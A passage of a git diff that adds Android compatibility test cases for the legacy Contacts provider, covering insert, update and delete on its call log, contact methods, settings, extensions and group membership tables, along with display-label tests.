+                    new String[] {insertCallsNumber}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertCallsNumber, cursor.getString(NUMBER_INDEX));
+            assertEquals(insertDate, cursor.getInt(DATE_INDEX));
+            assertEquals(insertCallsDuration, cursor.getInt(DURATION_INDEX));
+            assertEquals(Calls.INCOMING_TYPE, cursor.getInt(TYPE_INDEX));
+            assertEquals(0, cursor.getInt(NEW_INDEX));
+            assertEquals(insertCallsName, cursor.getString(CACHED_NAME_INDEX));
+            assertEquals(Phones.TYPE_HOME, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
+            assertEquals(insertCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
+            assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update. Also add new cached fields to simulate extra cached fields being
+            // inserted into the call log after the initial lookup.
+            int now = (int) new Date().getTime();
+            value.clear();
+            value.put(Calls.NUMBER, updateCallsNumber);
+            value.put(Calls.DATE, now);
+            value.put(Calls.DURATION, updateCallsDuration);
+            value.put(Calls.TYPE, Calls.MISSED_TYPE);
+            value.put(Calls.NEW, 1);
+            value.put(Calls.CACHED_NAME, updateCallsName);
+            value.put(Calls.CACHED_NUMBER_TYPE, Phones.TYPE_CUSTOM);
+            value.put(Calls.CACHED_NUMBER_LABEL, updateCallsNumberLabel);
+            value.put(Calls.CACHED_FORMATTED_NUMBER, updateCachedFormattedNumber);
+            value.put(Calls.CACHED_MATCHED_NUMBER, updateCachedMatchedNumber);
+            value.put(Calls.CACHED_NORMALIZED_NUMBER, updateCachedNormalizedNumber);
+            value.put(Calls.CACHED_PHOTO_ID, updateCachedPhotoId);
+            value.put(Calls.CACHED_PHOTO_URI, updateCachedPhotoUri);
+            value.put(Calls.COUNTRY_ISO, updateCountryIso);
+            value.put(Calls.GEOCODED_LOCATION, updateGeocodedLocation);
+            value.put(Calls.CACHED_LOOKUP_URI, updateCachedLookupUri);
+
+            mCallLogProvider.update(uri, value, null, null);
+            cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
+                    Calls._ID + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updateCallsNumber, cursor.getString(NUMBER_INDEX));
+            assertEquals(now, cursor.getInt(DATE_INDEX));
+            assertEquals(updateCallsDuration, cursor.getInt(DURATION_INDEX));
+            assertEquals(Calls.MISSED_TYPE, cursor.getInt(TYPE_INDEX));
+            assertEquals(1, cursor.getInt(NEW_INDEX));
+            assertEquals(updateCallsName, cursor.getString(CACHED_NAME_INDEX));
+            assertEquals(Phones.TYPE_CUSTOM, cursor.getInt(CACHED_NUMBER_TYPE_INDEX));
+            assertEquals(updateCallsNumberLabel, cursor.getString(CACHED_NUMBER_LABEL_INDEX));
+            assertEquals(updateCachedFormattedNumber,
+                    cursor.getString(CACHED_FORMATTED_NUMBER_INDEX));
+            assertEquals(updateCachedMatchedNumber, cursor.getString(CACHED_MATCHED_NUMBER_INDEX));
+            assertEquals(updateCachedNormalizedNumber,
+                    cursor.getString(CACHED_NORMALIZED_NUMBER_INDEX));
+            assertEquals(updateCachedPhotoId, cursor.getLong(CACHED_PHOTO_ID_INDEX));
+            assertEquals(updateCachedPhotoUri, cursor.getString(CACHED_PHOTO_URI_INDEX));
+            assertEquals(updateCountryIso, cursor.getString(COUNTRY_ISO_INDEX));
+            assertEquals(updateGeocodedLocation, cursor.getString(GEOCODED_LOCATION_INDEX));
+            assertEquals(updateCachedLookupUri, cursor.getString(CACHED_LOOKUP_URI_INDEX));
+            assertTrue(getElapsedDurationMillis(cursor.getLong(LAST_MODIFIED_INDEX)) < 1000);
+            cursor.close();
+
+            // Test: delete
+            mCallLogProvider.delete(Calls.CONTENT_URI, Calls._ID + " = " + id, null);
+            cursor = mCallLogProvider.query(Calls.CONTENT_URI, CALLS_PROJECTION,
+                    Calls._ID + " = " + id, null, null, null);
+            assertEquals(0, cursor.getCount());
+            cursor.close();
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's contact_methods table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testContactMethodsTable() {
+        final String[] CONTACT_METHODS_PROJECTION = new String[] {
+                ContactMethods._ID, ContactMethods.PERSON_ID, ContactMethods.KIND,
+                ContactMethods.DATA, ContactMethods.AUX_DATA, ContactMethods.TYPE,
+                ContactMethods.LABEL, ContactMethods.ISPRIMARY};
+        final int ID_INDEX = 0;
+        final int PERSON_ID_INDEX = 1;
+        final int KIND_INDEX = 2;
+        final int DATA_INDEX = 3;
+        final int AUX_DATA_INDEX = 4;
+        final int TYPE_INDEX = 5;
+        final int LABEL_INDEX = 6;
+        final int ISPRIMARY_INDEX = 7;
+
+        int insertKind = Contacts.KIND_EMAIL;
+        String insertData = "sample@gmail.com";
+        String insertAuxData = "auxiliary_data_insert";
+        String updateData = "elpmas@liamg.com";
+        String updateAuxData = "auxiliary_data_update";
+        String customLabel = "custom_label";
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_contact_methods_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(ContactMethods.PERSON_ID, peopleId);
+            value.put(ContactMethods.KIND, insertKind);
+            value.put(ContactMethods.DATA, insertData);
+            value.put(ContactMethods.AUX_DATA, insertAuxData);
+            value.put(ContactMethods.TYPE, ContactMethods.TYPE_WORK);
+            value.put(ContactMethods.ISPRIMARY, 1);
+
+            Uri uri = mProvider.insert(ContactMethods.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(
+                    ContactMethods.CONTENT_URI, CONTACT_METHODS_PROJECTION,
+                    ContactMethods.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            assertEquals(insertKind, cursor.getInt(KIND_INDEX));
+            assertEquals(insertData, cursor.getString(DATA_INDEX));
+            assertEquals(insertAuxData, cursor.getString(AUX_DATA_INDEX));
+            assertEquals(ContactMethods.TYPE_WORK, cursor.getInt(TYPE_INDEX));
+            assertNull(cursor.getString(LABEL_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(ContactMethods.DATA, updateData);
+            value.put(ContactMethods.AUX_DATA, updateAuxData);
+            value.put(ContactMethods.TYPE, ContactMethods.TYPE_CUSTOM);
+            value.put(ContactMethods.LABEL, customLabel);
+            value.put(ContactMethods.ISPRIMARY, 1);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(ContactMethods.CONTENT_URI,
+                    CONTACT_METHODS_PROJECTION,
+                    "contact_methods._id" + " = " + id, null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            assertEquals(updateData, cursor.getString(DATA_INDEX));
+            assertEquals(updateAuxData, cursor.getString(AUX_DATA_INDEX));
+            assertEquals(ContactMethods.TYPE_CUSTOM, cursor.getInt(TYPE_INDEX));
+            assertEquals(customLabel, cursor.getString(LABEL_INDEX));
+            assertEquals(1, cursor.getInt(ISPRIMARY_INDEX));
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(ContactMethods.CONTENT_URI,
+                    CONTACT_METHODS_PROJECTION,
+                    "contact_methods._id" + " = " + id, null, null, null);
+            assertEquals(0, cursor.getCount());
+            cursor.close();
+
+            mProvider.delete(peopleUri, null, null);
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's settings table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testSettingsTable() {
+        final String[] SETTINGS_PROJECTION = new String[] {
+                Settings._ID, Settings._SYNC_ACCOUNT, Settings._SYNC_ACCOUNT_TYPE,
+                Settings.KEY, Settings.VALUE};
+        final int ID_INDEX = 0;
+        final int SYNC_ACCOUNT_NAME_INDEX = 1;
+        final int SYNC_ACCOUNT_TYPE_INDEX = 2;
+        final int KEY_INDEX = 3;
+        final int VALUE_INDEX = 4;
+
+        String insertKey = "key_insert";
+        String insertValue = "value_insert";
+        String updateKey = "key_update";
+        String updateValue = "value_update";
+
+        try {
+            // Test: insert
+            ContentValues value = new ContentValues();
+            value.put(Settings.KEY, insertKey);
+            value.put(Settings.VALUE, insertValue);
+
+            try {
+                mProvider.insert(Settings.CONTENT_URI, value);
+                fail("Should throw out UnsupportedOperationException.");
+            } catch (UnsupportedOperationException e) {
+                // Don't support direct insert operation to setting URI.
+            }
+
+            // use the methods in Settings class to insert a row.
+            Settings.setSetting(mContentResolver, null, insertKey, insertValue);
+
+            Cursor cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {insertKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(insertKey, cursor.getString(KEY_INDEX));
+            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+            int id = cursor.getInt(ID_INDEX);
+            cursor.close();
+
+            // Test: update
+            // if we update with a not-existed key, it equals insert operation.
+            value.clear();
+            value.put(Settings.KEY, updateKey);
+            value.put(Settings.VALUE, updateValue);
+
+            mProvider.update(Settings.CONTENT_URI, value, null, null);
+            cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {updateKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(updateKey, cursor.getString(KEY_INDEX));
+            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+            cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {insertKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(insertKey, cursor.getString(KEY_INDEX));
+            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+
+            // Test: update
+            // if we update with a not-existed key, then it is really update operation.
+            value.clear();
+            value.put(Settings.KEY, insertKey);
+            value.put(Settings.VALUE, updateValue);
+
+            mProvider.update(Settings.CONTENT_URI, value, null, null);
+            cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {insertKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(insertKey, cursor.getString(KEY_INDEX));
+            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+            cursor = mProvider.query(
+                    Settings.CONTENT_URI, SETTINGS_PROJECTION,
+                    Settings.KEY + " = ?",
+                    new String[] {updateKey}, null, null);
+            assertTrue(cursor.moveToNext());
+            assertNull(cursor.getString(SYNC_ACCOUNT_NAME_INDEX));
+            assertNull(cursor.getString(SYNC_ACCOUNT_TYPE_INDEX));
+            assertEquals(updateKey, cursor.getString(KEY_INDEX));
+            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+            cursor.close();
+
+            // Test: delete
+            try {
+                mProvider.delete(Settings.CONTENT_URI, Settings._ID + " = " + id, null);
+                fail("Should throw out UnsupportedOperationException.");
+            } catch (UnsupportedOperationException e) {
+                // Don't support delete operation to setting URI.
+            }
+
+            // NOTE: because the delete operation is not supported,
+            // there will be some garbage rows in settings table.
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's extensions table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testExtensionsTable() {
+        final String[] EXTENSIONS_PROJECTION = new String[] {
+                Extensions._ID, Extensions.NAME,
+                Extensions.VALUE, Extensions.PERSON_ID};
+        final int NAME_INDEX = 1;
+        final int VALUE_INDEX = 2;
+        final int PERSON_ID_INDEX = 3;
+
+        String insertName = "name_insert";
+        String insertValue = "value_insert";
+        String updateName = "name_update";
+        String updateValue = "value_update";
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_extensions_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(Extensions.NAME, insertName);
+            value.put(Extensions.VALUE, insertValue);
+            value.put(Extensions.PERSON_ID, peopleId);
+
+            Uri uri = mProvider.insert(Extensions.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(
+                    Extensions.CONTENT_URI, EXTENSIONS_PROJECTION,
+                    Extensions.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(insertName, cursor.getString(NAME_INDEX));
+            assertEquals(insertValue, cursor.getString(VALUE_INDEX));
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(Extensions.NAME, updateName);
+            value.put(Settings.VALUE, updateValue);
+
+            mProvider.update(uri, value, null, null);
+            cursor = mProvider.query(Extensions.CONTENT_URI,
+                    EXTENSIONS_PROJECTION,
+                    Extensions.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertTrue(cursor.moveToNext());
+            assertEquals(updateName, cursor.getString(NAME_INDEX));
+            assertEquals(updateValue, cursor.getString(VALUE_INDEX));
+            assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+            cursor.close();
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(Extensions.CONTENT_URI,
+                    EXTENSIONS_PROJECTION,
+                    Extensions.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+            assertEquals(0, cursor.getCount());
+            cursor.close();
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    /**
+     * Test case for the behavior of the ContactsProvider's groupmembership table
+     * It does not test any APIs in android.provider.Contacts.java
+     */
+    public void testGroupMembershipTable() {
+        final String[] GROUP_MEMBERSHIP_PROJECTION = new String[] {
+                GroupMembership._ID, GroupMembership.PERSON_ID,
+                GroupMembership.GROUP_ID, GroupMembership.GROUP_SYNC_ACCOUNT,
+                GroupMembership.GROUP_SYNC_ID};
+        final int ID_INDEX = 0;
+        final int PERSON_ID_INDEX = 1;
+        final int GROUP_ID_INDEX = 2;
+        final int GROUP_SYNC_ACCOUNT_INDEX = 3;
+        final int GROUP_SYNC_ID_INDEX = 4;
+
+        try {
+            ContentValues value = new ContentValues();
+            value.put(PeopleColumns.NAME, "name_group_membership_test_stub");
+            Uri peopleUri = mProvider.insert(People.CONTENT_URI, value);
+            int peopleId = Integer.parseInt(peopleUri.getPathSegments().get(1));
+
+            value.clear();
+            value.put(GroupsColumns.NAME, "name_group_membership_test_stub1");
+            Uri groupUri1 = mProvider.insert(Groups.CONTENT_URI, value);
+            int groupId1 = Integer.parseInt(groupUri1.getPathSegments().get(1));
+            value.clear();
+            value.put(GroupsColumns.NAME, "name_group_membership_test_stub2");
+            Uri groupUri2 = mProvider.insert(Groups.CONTENT_URI, value);
+            int groupId2 = Integer.parseInt(groupUri2.getPathSegments().get(1));
+
+            // Test: insert
+            value.clear();
+            value.put(GroupMembership.PERSON_ID, peopleId);
+            value.put(GroupMembership.GROUP_ID, groupId1);
+
+            Uri uri = mProvider.insert(GroupMembership.CONTENT_URI, value);
+            Cursor cursor = mProvider.query(
+                    GroupMembership.CONTENT_URI, GROUP_MEMBERSHIP_PROJECTION,
+                    GroupMembership.PERSON_ID + " = " + peopleId,
+                    null, null, null);
+
+            // Check that the person has been associated with the group. The person may be in
+            // additional groups by being added automatically.
+            int id = -1;
+            while(true) {
+                assertTrue(cursor.moveToNext());
+                assertEquals(peopleId, cursor.getInt(PERSON_ID_INDEX));
+                int cursorGroupId = cursor.getInt(GROUP_ID_INDEX);
+                if (groupId1 == cursorGroupId) {
+                    id = cursor.getInt(ID_INDEX);
+                    break;
+                }
+            }
+            assertTrue(id != -1);
+            cursor.close();
+
+            // Test: update
+            value.clear();
+            value.put(GroupMembership.GROUP_ID, groupId2);
+
+            try {
+                mProvider.update(uri, value, null, null);
+                fail("Should throw out UnsupportedOperationException.");
+            } catch (UnsupportedOperationException e) {
+                // Don't support direct update operation to groupmembership URI.
+            }
+
+            // Test: delete
+            mProvider.delete(uri, null, null);
+            cursor = mProvider.query(GroupMembership.CONTENT_URI,
+                    GROUP_MEMBERSHIP_PROJECTION,
+                    "groupmembership._id" + " = " + id,
+                    null, null, null);
+            assertEquals(0, cursor.getCount());
+            cursor.close();
+
+            mProvider.delete(peopleUri, null, null);
+            mProvider.delete(groupUri1, null, null);
+            mProvider.delete(groupUri2, null, null);
+        } catch (RemoteException e) {
+            fail("Unexpected RemoteException");
+        }
+    }
+
+    private long getElapsedDurationMillis(long timeStampMillis){
+        return (System.currentTimeMillis() - timeStampMillis);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java
new file mode 100644
index 0000000..91f53d4
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_ContactMethodsTest.java
@@ -0,0 +1,105 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.Context;
+import android.provider.Contacts;
+import android.provider.Contacts.ContactMethods;
+import android.test.AndroidTestCase;
+
+import com.android.internal.R;
+
+
+public class Contacts_ContactMethodsTest extends AndroidTestCase {
+    public void testAddPostalLocation() {
+    }
+
+    public void testEncodeAndDecodeProtocol() {
+        int protocol = ContactMethods.PROTOCOL_AIM;
+        String encodedString = ContactMethods.encodePredefinedImProtocol(protocol);
+        assertTrue(encodedString.startsWith("pre:"));
+        assertEquals(protocol, ContactMethods.decodeImProtocol(encodedString));
+
+        protocol = ContactMethods.PROTOCOL_QQ;
+        encodedString = ContactMethods.encodePredefinedImProtocol(protocol);
+        assertTrue(encodedString.startsWith("pre:"));
+        assertEquals(protocol, ContactMethods.decodeImProtocol(encodedString));
+
+        String protocolString = "custom protocol";
+        encodedString = ContactMethods.encodeCustomImProtocol(protocolString);
+        assertTrue(encodedString.startsWith("custom:"));
+        assertEquals(protocolString, ContactMethods.decodeImProtocol(encodedString));
+
+        try {
+            ContactMethods.decodeImProtocol("wrong format");
+            fail("Should throw IllegalArgumentException when the format is wrong.");
+        } catch (IllegalArgumentException e) {
+        }
+    }
+
+    public void test() {
+        String label = "label";
+        String display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_EMAIL,
+                ContactMethods.TYPE_CUSTOM, label).toString();
+        assertEquals(label, display);
+
+        CharSequence[] labels = getContext().getResources().getTextArray(
+                com.android.internal.R.array.emailAddressTypes);
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_EMAIL,
+                ContactMethods.TYPE_HOME, label).toString();
+        assertEquals(labels[ContactMethods.TYPE_HOME - 1], display);
+
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_EMAIL,
+                ContactMethods.TYPE_OTHER, label).toString();
+        assertEquals(labels[ContactMethods.TYPE_OTHER - 1], display);
+
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_EMAIL,
+                ContactMethods.TYPE_WORK, label).toString();
+        assertEquals(labels[ContactMethods.TYPE_WORK - 1], display);
+
+        String untitled = getContext().getString(R.string.untitled);
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_IM,
+                ContactMethods.TYPE_CUSTOM, label).toString();
+        assertEquals(untitled, display);
+
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_ORGANIZATION,
+                ContactMethods.TYPE_CUSTOM, label).toString();
+        assertEquals(untitled, display);
+
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_PHONE,
+                ContactMethods.TYPE_CUSTOM, label).toString();
+        assertEquals(untitled, display);
+
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_POSTAL,
+                ContactMethods.TYPE_CUSTOM, label).toString();
+        assertEquals(label, display);
+
+        labels = getContext().getResources().getTextArray(
+                com.android.internal.R.array.postalAddressTypes);
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_POSTAL,
+                ContactMethods.TYPE_HOME, label).toString();
+        assertEquals(labels[ContactMethods.TYPE_HOME - 1], display);
+
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_POSTAL,
+                ContactMethods.TYPE_OTHER, label).toString();
+        assertEquals(labels[ContactMethods.TYPE_OTHER - 1], display);
+
+        display = ContactMethods.getDisplayLabel(getContext(), Contacts.KIND_POSTAL,
+                ContactMethods.TYPE_WORK, label).toString();
+        assertEquals(labels[ContactMethods.TYPE_WORK - 1], display);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java
new file mode 100644
index 0000000..814c845
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_OrganizationsTest.java
@@ -0,0 +1,40 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+import android.content.Context;
+import android.provider.Contacts.Organizations;
+import android.test.AndroidTestCase;
+
+public class Contacts_OrganizationsTest extends AndroidTestCase {
+    public void testGetDisplayLabel() {
+        String label = "label";
+        String display = Organizations.getDisplayLabel(getContext(),
+                Organizations.TYPE_CUSTOM, label).toString();
+        assertEquals(label, display);
+
+        CharSequence[] labels = getContext().getResources().getTextArray(
+                com.android.internal.R.array.organizationTypes);
+        display = Organizations.getDisplayLabel(getContext(),
+                Organizations.TYPE_OTHER, label).toString();
+        assertEquals(labels[Organizations.TYPE_OTHER - 1], display);
+
+        display = Organizations.getDisplayLabel(getContext(),
+                Organizations.TYPE_WORK, label).toString();
+        assertEquals(labels[Organizations.TYPE_WORK - 1], display);
+    }
+}
diff --git a/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PeopleTest.java b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
new file mode 100644
index 0000000..0737478
--- /dev/null
+++ b/tests/tests/provider/src/android/provider/cts/contacts/Contacts_PeopleTest.java
@@ -0,0 +1,284 @@
+/*
+ * Copyright (C) 2008 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.provider.cts.contacts;
+
+
+import android.content.ContentProviderClient;
+import android.content.ContentResolver;
+import android.content.ContentUris;
+import android.content.ContentValues;
+import android.content.Context;
+import android.database.Cursor;
+import android.graphics.Bitmap;
+import android.graphics.BitmapFactory;
+import android.net.Uri;
+import android.os.RemoteException;
+import android.provider.Contacts;
+import android.provider.Contacts.GroupMembership;
+import android.provider.Contacts.Groups;
+import android.provider.Contacts.GroupsColumns;
+import android.provider.Contacts.People;
+import android.test.InstrumentationTestCase;
+import android.util.Log;
+
+import java.io.IOException;
+import java.io.InputStream;
+import java.util.ArrayList;
+import java.util.List;
+
+public class Contacts_PeopleTest extends InstrumentationTestCase {
+    private ContentResolver mContentResolver;
+    private ContentProviderClient mProvider;
+
+    private ArrayList<Uri> mPeopleRowsAdded;
+    private ArrayList<Uri> mGroupRowsAdded;
+    private ArrayList<Uri> mRowsAdded;
+
+    private static final String[] PEOPLE_PROJECTION = new String[] {
+            People._ID,
+            People.LAST_TIME_CONTACTED,
+            People.TIMES_CONTACTED
+        };
+    private static final int PEOPLE_ID_INDEX = 0;
+    private static final int PEOPLE_LAST_CONTACTED_INDEX = 1;
+    private static final int PEOPLE_TIMES_CONTACTED_INDEX = 1;
+
+    private static final String[] GROUPS_PROJECTION = new String[] {
+        Groups._ID,
+        Groups.NAME
+    };
+    private static final int GROUPS_ID_INDEX = 0;
+    private static final int GROUPS_NAME_INDEX = 1;
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+        mContentResolver = getInstrumentation().getTargetContext().getContentResolver();
+        mProvider = mContentResolver.acquireContentProviderClient(Contacts.AUTHORITY);
+
+        mPeopleRowsAdded = new ArrayList<Uri>();
+        mGroupRowsAdded = new ArrayList<Uri>();
+        mRowsAdded = new ArrayList<Uri>();
+
+        // insert some lines in people table and groups table to be used in test case.
+        for (int i=0; i<3; i++) {
+            ContentValues value = new ContentValues();
+            value.put(People.NAME, "test_people_" + i);
+            value.put(People.TIMES_CONTACTED, 0);
+            value.put(People.LAST_TIME_CONTACTED, 0);
+            mPeopleRowsAdded.add(mProvider.insert(People.CONTENT_URI, value));
+        }
+
+        ContentValues value = new ContentValues();
+        value.put(Groups.NAME, "test_group_0");
+        mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
+        value.put(Groups.NAME, "test_group_1");
+        mGroupRowsAdded.add(mProvider.insert(Groups.CONTENT_URI, value));
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        // remove the lines we inserted in setup and added in test cases.
+        for (Uri row : mRowsAdded) {
+            mProvider.delete(row, null, null);
+        }
+        mRowsAdded.clear();
+
+        for (Uri row : mPeopleRowsAdded) {
+            mProvider.delete(row, null, null);
+        }
+        mPeopleRowsAdded.clear();
+
+        for (Uri row : mGroupRowsAdded) {
+            mProvider.delete(row, null, null);
+        }
+        mGroupRowsAdded.clear();
+
+        super.tearDown();
+    }
+
+    public void testAddToGroup() {
+        Cursor cursor;
+        try {
+            // Add the My Contacts group, since it is no longer automatically created.
+            ContentValues testValues = new ContentValues();
+            testValues.put(GroupsColumns.SYSTEM_ID, Groups.GROUP_MY_CONTACTS);
+            mProvider.insert(Groups.CONTENT_URI, testValues);
+
+            // People: test_people_0, Group: Groups.GROUP_MY_CONTACTS
+            cursor = mProvider.query(mPeopleRowsAdded.get(0), PEOPLE_PROJECTION,
+                    null, null, null, null);
+            cursor.moveToFirst();
+            int personId = cursor.getInt(PEOPLE_ID_INDEX);
+            cursor.close();
+            mRowsAdded.add(People.addToMyContactsGroup(mContentResolver, personId));
+            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
+                    Groups.SYSTEM_ID + "='" + Groups.GROUP_MY_CONTACTS + "'", null, null, null);
+            assertTrue(cursor.moveToFirst());
+            int groupId = cursor.getInt(GROUPS_ID_INDEX);
+            cursor.close();
+            cursor = People.queryGroups(mContentResolver, personId);
+
+            int membershipGroupIdIndex =
+                    cursor.getColumnIndex(android.provider.Contacts.GroupMembership.GROUP_ID);
+            int membershipPersonIdIndex =
+                    cursor.getColumnIndex(android.provider.Contacts.GroupMembership.PERSON_ID);
+
+            assertTrue(cursor.moveToFirst());
+            assertEquals(personId, cursor.getInt(membershipPersonIdIndex));
+            assertEquals(groupId, cursor.getInt(membershipGroupIdIndex));
+            cursor.close();
+
+            // People: test_people_create, Group: Groups.GROUP_MY_CONTACTS
+            ContentValues values = new ContentValues();
+            values.put(People.NAME, "test_people_create");
+            values.put(People.TIMES_CONTACTED, 0);
+            values.put(People.LAST_TIME_CONTACTED, 0);
+            mRowsAdded.add(People.createPersonInMyContactsGroup(mContentResolver, values));
+            cursor = mProvider.query(People.CONTENT_URI, PEOPLE_PROJECTION,
+                    People.NAME + " = 'test_people_create'", null, null, null);
+
+            assertTrue(cursor.moveToFirst());
+            personId = cursor.getInt(PEOPLE_ID_INDEX);
+            mRowsAdded.add(ContentUris.withAppendedId(People.CONTENT_URI, personId));
+            cursor.close();
+            cursor = mProvider.query(Groups.CONTENT_URI, GROUPS_PROJECTION,
